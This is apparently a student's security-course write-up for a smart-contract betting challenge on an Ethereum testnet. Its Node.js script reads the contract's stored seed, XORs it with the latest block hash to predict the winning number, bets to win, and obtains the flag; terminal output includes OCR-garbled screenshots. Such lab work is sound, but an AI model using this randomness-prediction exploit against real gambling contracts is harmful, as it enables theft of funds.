

Hw03

Bet

First, we create a instance of bet from server.

```
async function main() {
  ...
  let factory_addr = '0x8e0a809B1f413deB6427535cC53383954DBF8329'
  let factory = lib.contract(factory_addr,
JSON.parse(fs.readFileSync('BetFactory.abi'))))

  let instance_address = await factory.view('instances',
lib.account.address)

  if (instance_address === '0x0000000000000000000000000000000000000000')
{
    await factory.call({value: web3.utils.toWei('0.6', 'ether')},
'create')
    instance_address = await factory.view('instances',
lib.account.address)
  }
  console.log(`instance = ${instance_address}`)
  ...
}
```

```

JS solve.js X JS validate.js Bet.sol JS lib.js
hw03 > JS solve.js > main > factory_addr
1 const fs = require('fs')
2 const lib = require('../lib')(require('../config'))
3 web3 = lib.web3
4
5 async function main() {
6   let factory_addr = '0x8e0a80981f413deB6427535cC533839540BF8329'
7   let factory = lib.contract(factory_addr, JSON.parse(fs.readFileSync('BetFactory.abi')))
8
9   let instance_address = await factory.view('instances', lib.account.address)
10
11   // if (instance_address === '0x0000000000000000000000000000000000') {
12   await factory.call({value: web3.utils.toWei('0.6', 'ether')}, 'create')
13   instance_address = await factory.view('instances', lib.account.address)
14   // }
15   console.log(`instance = ${instance_address}`)
16
17   let seed = await web3.eth.getStorageAt(instance_address, 1)
18   let bn = await web3.eth.getBlockNumber()
19   let b2 = (await web3.eth.getBlock(bn))['hash']
20   rand = web3.utils.toBN(seed).xor(web3.utils.toBN(b2))
21   console.log(rand)
22   instance = lib.contract(instance_address, JSON.parse(fs.readFileSync('Bet.abi')))
23   await instance.call({value: web3.utils.toWei('0.00000001', 'ether')}, 'bet', rand)
24 }
25
26 main()

```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL

```

instance = 0xD7FA45E74Bd336306A16a6FA9d0Aa5F8DEE43E74
<BN: c25a070f99d2db99298d3f6df584d1efab6a8f4379c5236711edleece387d265>
(node:12943) [DEP0079] DeprecationWarning: Custom inspection function on Objects via .inspect() is deprecated
Transaction -> https://ropsten.etherscan.io/tx/0x679936f236560d35061764b1d6e1e198045cb9f0982132ff02282667ad6e3b78
(base) jerry@yooooooooo:~/Computer_Security/lab03/hw03$ nodejs solve.js
instance = 0xD7FA45E74Bd336306A16a6FA9d0Aa5F8DEE43E74
<BN: c8ada8ca1558e2e0b2449978994c48cb17f0eb30ec6c89e9c2b709calc92231b>
(node:13088) [DEP0079] DeprecationWarning: Custom inspection function on Objects via .inspect() is deprecated
Transaction -> https://ropsten.etherscan.io/tx/0x22eealca1d006994abe0c482791faacd6cf20a35a096cf6a255c634942121dc
(base) jerry@yooooooooo:~/Computer_Security/lab03/hw03$ nodejs solve.js
Transaction -> https://ropsten.etherscan.io/tx/0x789d905911fde285950faa9c9b330630209544256442f61fcd348ad5d02b08cd
instance = 0x67e070e5CCbF4457Ff01b70a81e602238578A2E3
<BN: a6e01ad94c7dd7988548cda98a3129cfa9a7f80dc18a46255448cc23abdf75eb>
(node:13179) [DEP0079] DeprecationWarning: Custom inspection function on Objects via .inspect() is deprecated
Transaction -> https://ropsten.etherscan.io/tx/0xef4d877fb3ad0bb07163b6b6909bcf7a3692e45289ad2b6fb29da18ce6ac3fdc
(base) jerry@yooooooooo:~/Computer_Security/lab03/hw03$

```

master* Python 3.8.5 64-bit ('project': conda) 0 0 Git Graph

Next, we use web3 library, getting the seed, blocknumber and blockhash, and we xor seed and b2, which is `getRandom()` doing in the contract.

```
async function main() {  
  ...  
  let seed = await web3.eth.getStorageAt(instance_address, 1)  
  let bn = await web3.eth.getBlockNumber()  
  let b2 = (await web3.eth.getBlock(bn))['hash']  
  rand = web3.utils.toBN(seed).xor(web3.utils.toBN(b2))  
  console.log(rand)  
  ...  
}
```

After we get the random number, we send it to our instance and get money.

```
async function main() {  
  ...  
  instance = lib.contract(instance_address,  
JSON.parse(fs.readFileSync('Bet.abi')))  
  await instance.call({value: web3.utils.toWei('0.00000001', 'ether')},  
'bet', rand)  
}
```

Finally, we validate balance server, and get flag!

```
async function main() {  
  let factory_addr = '0x8e0a809B1f413deB6427535cC53383954DBF8329'  
  let factory = lib.contract(factory_addr,  
JSON.parse(fs.readFileSync('BetFactory.abi')))  
  
  let token =  
'0xafdd757a8ad0241dcb6f307861e19d29ca2f701d3907551dc289b49b3fbce88f'  
  await factory.call('validate', token)  
}
```

```

6cf6a255c634942121dc
(base) jerry@yoosoooo:~/Computer_Security/Lab03/hw03$ nodejs solve.js
Transaction -> https://ropsten.etherscan.io/tx/0x789d905911fde285950faa9c9b330630209544256442f61fcd348ad5d02b08cd
instance = 0x67e070e5CCbF4457Ff01b70a81e602238578A2E3
<BN: a6e01ad94c7dd7988548cda98a3129cfa9a7f80dc18a46255448cc23abdf75eb>
(node:13170) [DEP0079] DeprecationWarning: Custom inspection function on Objects via .inspect() is deprecated
Transaction -> https://ropsten.etherscan.io/tx/0xef4d877fb3ad0bb07163b6b6909bcbf7a3692e45289ad2b6fb29da18ce6ac3fdd
(base) jerry@yoosoooo:~/Computer_Security/Lab03/hw03$ node solve.js
Transaction -> https://ropsten.etherscan.io/tx/0x15b5a12cf4d2cf04cbdd848c54d0c9c142d90425f9e3419011df51f2e59f8f
instance = 0x217966883Ee5D385B8FEeCf506eEFEd1929b93Df
<BN: fd4b1e9574acf0cedb611df15b3ee312ceceb662e084b0b7388536630986929>
(node:13419) [DEP0079] DeprecationWarning: Custom inspection function on Objects via .inspect() is deprecated
Transaction -> https://ropsten.etherscan.io/tx/0xe86d8efa07a107c23cfed41dec6a464851bd3908357b350f6cb672dc85c11e89
(base) jerry@yoosoooo:~/Computer_Security/Lab03/hw03$ node validate.js
Transaction -> https://ropsten.etherscan.io/tx/0xe3b024d0805e8ba15f2dc687a3a9c53ca912ff87b5b60709a8cdd2d05d83be14
(base) jerry@yoosoooo:~/Computer_Security/Lab03/hw03$

0x262691b7cea316211c8ac905d1e7a9c4558b34ac449098e63901a4086d3c133>
SyntaxError: Invalid syntax

In [2]: 0x262691b7cea316211c8ac905d1e7a9c4558b34ac449098e63901a4086d3c133
Out[2]: 1078502133954853002371346588450536228949875029519932403670855288232441266483

In [3]:

Do you really want to exit ([y]/n)? y
(project) jerry@yoosoooo:~/Computer_Security/Lab03/hw03$ ipython^C
(project) jerry@yoosoooo:~/Computer_Security/Lab03/hw03$ nc 140.112.31.97 30004
Choose a network.
1) ropsten
2) rinkeby
> 1
Factory Contract Address : 0x8e0a80981f413de86427535c5338395408f8329
1) call create() to generate new challenge instance
2) call validate(0xafdd757a8ad0241dc6bf307861e19d29ca2f701d3907551dc289b49b3f8ce88f) to get flag
----- flag will appear below -----
FLAG{cgmZBaRrk4ty1xmE0d1}

```